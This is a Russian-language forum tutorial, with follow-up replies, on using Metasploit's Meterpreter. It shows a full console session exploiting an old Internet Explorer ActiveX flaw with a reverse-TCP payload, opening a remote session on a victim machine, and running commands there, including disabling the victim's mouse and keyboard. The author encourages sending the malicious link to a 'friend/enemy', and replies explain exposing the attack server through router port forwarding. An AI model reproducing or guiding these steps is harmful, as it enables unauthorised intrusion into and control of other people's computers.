Учимся юзать Мeterpreter (Или Metasploit Framework часть 4) Предисловие. Если в первый раз слышите слова Мeterpreter, Metasploit Framework - то рекомендую почитать мои предыдущие статьи по Метасплоиту (ссылки на них можно найти у меня в подписи). Если их читали то можете читать дальше. Всё описанное в статье справедливо для версии 3.0 beta 3 1. Что такое Мeterpreter?В Предыдущих статьях (№3) частично этот вопрос поднимался и было дано определение данного понятия, но всё же я повторюсь и скажу своими словами: Мeterpreter - это особый полезный груз (начинка эксплоита) которая может выполнять не какую-либо конкретную задачу, а много функций. Даже если сравнивать его с каким-либо шелл`ом, мы увидим что он есть только для виндос и очень похож на обычный cmd-шелл. Ну да ладно, перейдём от теории к практике, запустим консоль, посмотрим что мы имеем (команда show). Code: msf > show Encoders ======== ----------пропущено----------------- NOP Generators ============== ----------пропущено----------------- Exploits ======== Name Description ---- ----------- ----------пропущено----------------- windows/browser/webview_setslice Internet Explorer WebViewFolderIcon setSlice() Overflow ----------пропущено----------------- Payloads ======== ----------пропущено----------------- Name Description ---- ----------- windows/meterpreter/bind_tcp Windows Meterpreter, Bind TCP Stager windows/meterpreter/find_tag Windows Meterpreter, Find Tag Ordinal Stager windows/meterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager windows/meterpreter/reverse_ord_tcp Windows Meterpreter, Reverse Ordinal TCP Stager windows/meterpreter/reverse_tcp Windows Meterpreter, Reverse TCP Stager Auxiliary ========= Name Description ---- ----------- ----------пропущено----------------- 2. Выбираем сплоит.Я буду показывать на примере эксплоита windows/browser/webview_setslice (буду использовать его). 3. Выбираем начинку (собственно meterpreter - ему и посвящена статья)Как мы видим meterpreter есть только для виндос (по типу соединения 5 шт.) Ну, ИМХО, по названию понятно, какой что делает, но всё же, для тех кто в танке, поясню: Code: Windows Meterpreter, Bind TCP Stager - тупо биндит порт Stager (Stage - стадия, ну в русском нет перевода, назову стэйжер) Windows Meterpreter, Find Tag Ordinal Stager - ищет порядковый тэг стэйжера Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager - Пассивное реверсное http-туннелирование стэйжера Windows Meterpreter, Reverse Ordinal TCP Stager - Реверсный порядковый TCP стэйжер Windows Meterpreter, Reverse TCP Stager - Реверсный TCP стэйжер (аналог старого доброго реверс-шелла, по типу соединения) Ну вроде прояснили, я буду использовать Reverse TCP Stager, и так выбираем сплоит и смотрим по нём инфу: Code: msf > use windows/browser/webview_setslice msf exploit(webview_setslice) > info Name: Internet Explorer WebViewFolderIcon setSlice() Overflow Version: 3783 Platform: Windows Privileged: No License: Metasploit Framework License v1.0 Provided by: hdm <[email protected]> Available targets: Id Name -- ---- 0 Windows XP SP0-SP2 / IE 6.0SP1 English Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 10.0.3.44 yes The local host to listen on. SRVPORT 8080 yes The local port to listen on. URIPATH no The URI to use for this exploit (default is random) Payload information: Space: 1024 Avoid: 1 characters Description: This module exploits a flaw in the WebViewFolderIcon ActiveX control included with Windows 2000, Windows XP, and Windows 2003. This flaw was published during the Month of Browser Bugs project (MoBB #18). References: http://www.osvdb.org/27110 http://www.securityfocus.com/bid/19030 http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html Так, WINDOWS-XP SP2 входит в число уязвимых - то что надо (под виртуалкой у меня есть такая жертва) Параметры меня устаривают - оставлю их по умолчанию. (URIPATH - красавец, но пусть будет случайный) 4.Эксплуатируем.Прикручиваем начинку - наш загадочный windows/meterpreter/reverse_tcp Code: msf exploit(webview_setslice) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp Нормально прикрутилась, пора командовать exploit Code: msf exploit(webview_setslice) > exploit [-] Exploit failed: The following options failed to validate: LHOST. Ах, да, забыли про параметр начинки LHOST, исправим: Code: msf exploit(webview_setslice) > set LHOST 10.0.3.44 LHOST => 10.0.3.44 msf exploit(webview_setslice) > exploit [*] Started reverse handler [*] Using URL: http://10.0.3.44:8080/Ey3GEWD0B6Q3W9dDr1uDIefKjrAfZlcfs [*] Server started. [*] Exploit running as background job. Всё, эксплоит запущен, веб-сервер метасплоита ждёт подключения клиента (жертвы) тут: http://10.0.3.44:8080/Ey3GEWD0B6Q3W9dDr1uDIefKjrAfZlcfs Заходим в нашу гостевую ОС WIN-XP-SP2 (ну а вы можете впаривать ссылку, предварительно её закодировав, если надо, другу/врагу, в надежде пролезть в его комп), запускаем многострадальный IE и заходим по ссылке. Через некоторое время (имхо, сплоит на переполнение) наблюдаем в консоли это: Code: msf exploit(webview_setslice) > [*] Transmitting intermediate stager for over-sized stage...(89 bytes) [*] Sending stage (2834 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (73739 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (10.0.3.44:4444 -> 10.0.3.68:1028) Попробую перевести что происходит: Передача промежуточного звена стэйжера для стадии с завышенными размерами (короче сами переведёте)...(89 bytes) Отправка стэйжера (2834 bytes) Бездействие перед обработкой стадии Заливка DLL (73739 bytes)... Заливка закончена. Meterpreter сессия 1 открыта (понятно между кем и чем) Ну это всё детали... главное результат! К нам подсоединился наш клиент-жертва, жмём enter в консоли, набираем sessions -i 1 Code: msf exploit(webview_setslice) > sessions -i 1 [*] Starting interaction with 1... meterpreter > Всё, мы в нашем загадочном meterpreter, интересно а что тут можно сделать? В самый раз скомандовать help ! (конечно все команды meterpreter лучше знать заранее) Code: meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu channel Displays information about active channels close Closes a channel exit Terminate the meterpreter session help Help menu interact Interacts with a channel irb Drop into irb scripting mode migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel run Executes a meterpreter script use Load a one or more meterpreter extensions write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory download Download a file or directory edit Edit a file getwd Print working directory ls List files mkdir Make directory pwd Print working directory rmdir Remove directory upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- execute Execute a command getpid Get the current process identifier getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shutdown Shuts down the remote computer sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- idletime Returns the number of seconds the remote user has been idle uictl Control some of the user interface components Ого сколько команд! Класс! Все команды сгруппированы по типу, что очень удобно. 5. Внутри Мeterpreter(лазаем по чужому компу)!Ну описывать сейчас каждую я не буду, имхо для знающих людей хелпа на английском достаточно. Попробуем что-нибудь из этих команд, посмотрим например версию ОС: Code: meterpreter > sysinfo Computer: TEST3 OS : Windows XP (Build 2600, Service Pack 2). Компьютер с именем TEST3 и с виндой xp-sp2 - всё верно. Посмотрим конфигурацию сети: Code: meterpreter > ipconfig Intel 21140-Based PCI Fast Ethernet адаптер (Универсальный) Hardware MAC: 00:03:ff:f6:fd:00 IP Address : 10.0.3.68 Netmask : 255.0.0.0 Ну и что, скажете вы, все эти команды можно сделать и в обычном реверс-шелле... Некоторые, но не все... Выключим у юзверя например мышку ;-) Code: meterpreter > uictl Usage: uictl [enable/disable] [keyboard/mouse] meterpreter > uictl disable mouse Disabling mouse... meterpreter > Проверим - правда перестала работать ;-), Ну тогда и клаву тоже отрубим: Code: meterpreter > uictl disable keyboard Disabling keyboard... meterpreter > Проверили - тоже не пашет (бедный ваш друг/враг оставшийся без интерфейсов управления своим компом ;-), Для более продвинутых будут интересны конечно следующие команды: Code: irb Drop into irb scripting mode ------------ уйти в IRB-скрипт режим (Понравится знающим язык Руби) migrate Migrate the server to another process --- миграция сервера в другой процесс quit Terminate the meterpreter session ------- уничтожение сессии meterpreter`а read Reads data from a channel --------------- прочитать данные из канала run Executes a meterpreter script ----------- запустить скрипт meterpreter`а use Load a one or more meterpreter extensions загрузить одно или более расширений meterpreter`а write Writes data to a channel ---------------- писать данные в канал Использование этих команд - тема отдельной статьи, так как функциональность meterpreter можно с помощью них динамически (во время сессии) наращивать... Заключение.Ну вот и всё, не так оказался страшен зверь как его именуют, вполне рабочий, многофункциональный шелл для винды, открывающий практически безграничную власть над компом юзверя. Удачи всем в использовании meterpreter!
Code: [*] Starting interaction with 1... >> (running) Ждём... Ждём... Ждём... И ничего не происходит =) В чём проблема?
Прошу прощения если мой вопрос покажется Вам глупым, но всетаки... У меня ADSL модем, мой локальный ip имеет обычный вид 192.168.1.33 Если при создании explot изменить LHOST на мой внешний ip 84.186.хх.ххх то сервер не стартует. Собственно сам вопрос: Как и, что нужно менять в настройках при создании exploit чтобы впариваемая ссылка имела вид [*] Using URL: http:// 84.186.хх.ххх:8080 вместо [*] Using URL: http:// 192.168.1.33 :8080. Надеюсь Вам понятен смысл моего вопроса. И за ранее прошу прощения если я тут спросил бональную чушь.
Есть LHOST у сплоита, а есть RHOST У начинки (например реверсшелл-начинка должна знать куда коннектится) 1. Сплоит всегда висит у тебя на локалхосте, т.е. на http:// 192.168.1.33:8080. - это правильно. 2. В конфигураторе модема ты должен настроить редирект с внешниго IP на внутренний., т.е. переадресовывать пакеты по всем портам приходящие из вне на 84.186.хх.ххх --> 192.168.1.33:8080. Тогда можно будет впарить ссылку содержащюю внешний IP, в этом случае запрос будет переадресован на внутренний IP, т.е. web-серверу метасплоита. ЗЫ Обо всём этом есть в предыдущих статьях (не раз описывалось).
Прошу прощения за наглость, возможно я не совсем внимательно читал статьи в которых ты об этом говорил, если тебя не затруднит ткни носом в ссылку где описывается как сделать редирект. Или напиши в этой теме. За ранее огромное спаибо и ещё раз прошу прощения.
Напиши какой мопед у тебя, ведь я же не знаю, поэтому и ссылку не могу дать. А в краце всё очень просто: заходишь броузером в web-кофигуратор мопеда (если по-умолчанию, то IP его 192.168.1.1, авторизуешься, т.е. вводишь пасс или имя и пасс, топаешь в NAT и там прописываешь свой внутренний IP в портах указываешь Аll или там есть строка специальная для всех портов, туда вписываешь свой IP компа (внутренний). Всё- редирект настроен... Только в этом случае все сетевые сервисы которые крутятся у тебя на компе 'светят" в Инет и если какие-либо уязвимы, то свой комп ты подвергаешь риску быть похекнутым..Поэтому лучше открыть (редиректить) только определённые порты: в частности для web-сервера Метасплоита 8080, а вот для реверсшелла не угадаешь (по случайным портам коннект происходит).
а вот если модэм моторолла sb5101e там вродь ничо такого нет и когда нмэпом сканю то в адресе до сайта нет ничо но к вебсерверу вроде не могут из вне подключится кричит что сервер сбросил соединение сорри если вопрос тупой и исчо на серваке на котором мой вебсервак крутится на 68 порту dhcpc а это тож с модэмами походу связано
Народ, подскажите как создать сессию с удаленным хостом с помощью meterpreter не используя сплоиты? дело в том, что на удаленном компе знаю учетку локального администратора. есть ли в новом метасплойте какой то вариант с загрузкой meterpreter без участия эксплоитов?
payload в моем представление загружается когда уже есть какая до дыра, через которую можно загрузиться, после действия эксплоита, например. Если просто так указываю, вот к примеру эту штуку: Windows Manage Memory Payload Injection Module Payload: windows/meterpreter/reverse_tcp то получаю The following options failed to validate: SESSION.